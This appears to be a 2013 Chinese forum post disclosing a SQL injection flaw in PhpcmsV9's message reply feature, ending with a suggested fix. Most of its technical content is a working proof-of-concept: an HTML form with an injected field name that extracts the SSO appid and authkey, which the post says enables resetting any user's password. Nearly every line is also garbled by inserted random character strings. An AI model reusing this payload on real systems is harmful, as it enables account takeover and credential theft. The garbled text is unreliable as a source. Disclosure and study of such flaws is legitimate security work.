找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2202|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:$ A& U# S8 `/ W% {; k

; G, k. a! P5 t' x第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
, c. g& Q2 ?% s, F4 ^9 @9 F% N) a$ r. |' b. ?9 [) S
明天再更新下一个漏洞。
6 d1 k& K5 K8 {详细说明:; c, m! B4 ]8 j; l( D, y5 a) D
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
5 `6 r& B  H# S* g- s1 s+ v% B  j
9 a% O; y7 B: _* k' F, _) n2 N) Y. N$messageid = $this->message_db->insert($_POST['info'],true);+ x" |& S* N1 T! z) q/ q

* l) E& Q3 [- f9 w- `4 n) H% C9 s$ X& l5 Y2 N
insert方法是key value的,代码如下:! i" d1 q" H0 A4 H8 V4 R0 I( g

6 |9 h6 o8 q" _- S! rpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
: G7 B8 M( A. J0 r9 B) F                if(!is_array( $data ) || $table == '' || count($data) == 0) {
, Y. y- |0 F; @5 p8 |- J5 {; H                        return false;% K+ z& h, _4 f$ H: y7 A& A8 k9 G
                }
+ o/ ~# ^; z: h9 i# Z+ C                # V2 N/ l7 J' O' ^' q
                $fielddata = array_keys($data);
7 c6 B! o) a" h; j: [                $valuedata = array_values($data);9 v' o  W& D) a6 \+ b2 H- }/ ]( w
                array_walk($fielddata, array($this, 'add_special_char'));
6 e+ l1 b$ U4 M# D2 H6 }" \                array_walk($valuedata, array($this, 'escape_string'));
+ b. z1 e+ \+ q& @% {                6 k; ]4 O& }( g$ _$ u: X; I' w. J# |
                $field = implode (',', $fielddata);
: {) l& V! f$ z, ~% U                $value = implode (',', $valuedata);
5 o, M9 Z& i6 C) i  f5 E. P/ |1 \7 r* s/ d! P- A
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
# p2 I* [# g8 k4 G7 a; w                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
& f( x3 t  J9 E( J) h9 K' a                $return = $this->execute($sql);
9 v  ~- Q  s( G! \8 ]6 S, ^                return $return_insert_id ? $this->insert_id() : $return;, z1 d( |6 O* R, n6 n
        }* s* ^" p; {4 S/ |. u/ Q5 p

2 I' m* E; O  c+ a8 [2 e
; h: C$ ]; p$ J- ~# t1 m嗯,很遗憾的是
" ~! h# T2 g. h/ m
! m6 ]" T2 N$ b' f. }3 o  @) ^. @; W7 zarray_walk($fielddata, array($this, 'add_special_char'));
& r$ v9 I( C. U% l2 N& K* o
' T. l0 k- O2 q; Y7 C& q" P$ P5 Y2 M
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。+ x8 i: ~* q7 X2 R- D

+ f/ ^9 [0 W/ a9 L到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。  b7 E6 d: V  x8 v) e3 v+ w

3 r: ]# I- v' {0 \漏洞证明:
0 D5 z0 U6 q7 ?/ k6 B" n读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。9 @. i+ M3 c: N5 C4 n* d* G- t

' E8 D( ?/ P, p$ Z9 B; a9 X! F& {( T' r' Q8 @
表单如下:用户名什么的得自己改一改。
, G! ?) n: _; \7 i4 D9 P) V( Q<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
6 R% R+ _4 B; `/ k' R+ Q- {) f. e<table width="100%" cellspacing="0" class="table_form">
0 }' O. \- b; T( Z( J<tr>7 a; Q! k* p' m/ p. m" V- ^- O0 F
<th>标 题:</th>5 }$ |5 J) t: @- Y& N6 P
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>. ?" A' m3 j( z6 f
</tr> , m" Z" b" \; T* J8 O) l
<tr>
' S" \$ T: m2 c- l$ o: Y/ }' L9 o<th>内 容:</th>3 C$ p# X# [5 V$ y% {% w0 }' y! a
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>7 X; ]( f0 V" _
</tr>
- ^3 L. T3 N2 F6 I; i# a<input type="hidden" name="info[replyid]" value="2" /> 2 J3 E0 f5 d7 X2 v; S$ k
<input type="hidden" name="info[send_to_id]" value="cc" />
1 m, y# j9 |" g3 l) b0 o& F<input type="hidden" name="info[send_from_id]" value="hh">; v1 p7 b9 M9 z' o' n
<!-- 漏洞的利用重点在这里开始 -->
  U0 U+ A( p& ?/ w7 w<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 5 K: j. A( ?& ]# _
<!-- 漏洞的利用重点在这里结束 -->
( i) x1 i6 B) f; M+ z<tr>
1 \* c8 l1 J" m0 k  r" \# F% C* g<th>验证码:</th>
$ O$ G% X# V' |3 g( R2 I) p<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>8 a) z  G1 ~& O/ a- b
</tr>; p' Q+ p8 ^1 j0 B. A
<tr>7 w5 p: r; p* u+ h
<td></td>8 y1 O& o) t* e( p
<td colspan="2"><label>) H9 R: x% Z: r- Z
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>, X+ o1 Q9 X& H' B; j$ t$ c5 N
</label></td>- L0 C6 h0 ^2 M  F$ e' U9 y/ ]
</tr>! c5 n4 v1 l  Q0 G8 ?. d$ [( }
</table>
9 d6 v( u4 y3 m* M8 u! o</form>
! J9 N% X& Y! z在add_special_char函数内对key做过滤就可以了。$ q" B  h% C' C' |1 u

, N: s: A. ]7 k$ P6 l# m
/ H' @# n" w" X5 j% {: J. Y( K- V! ~: k; b' R  }' |9 B+ ^4 k

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表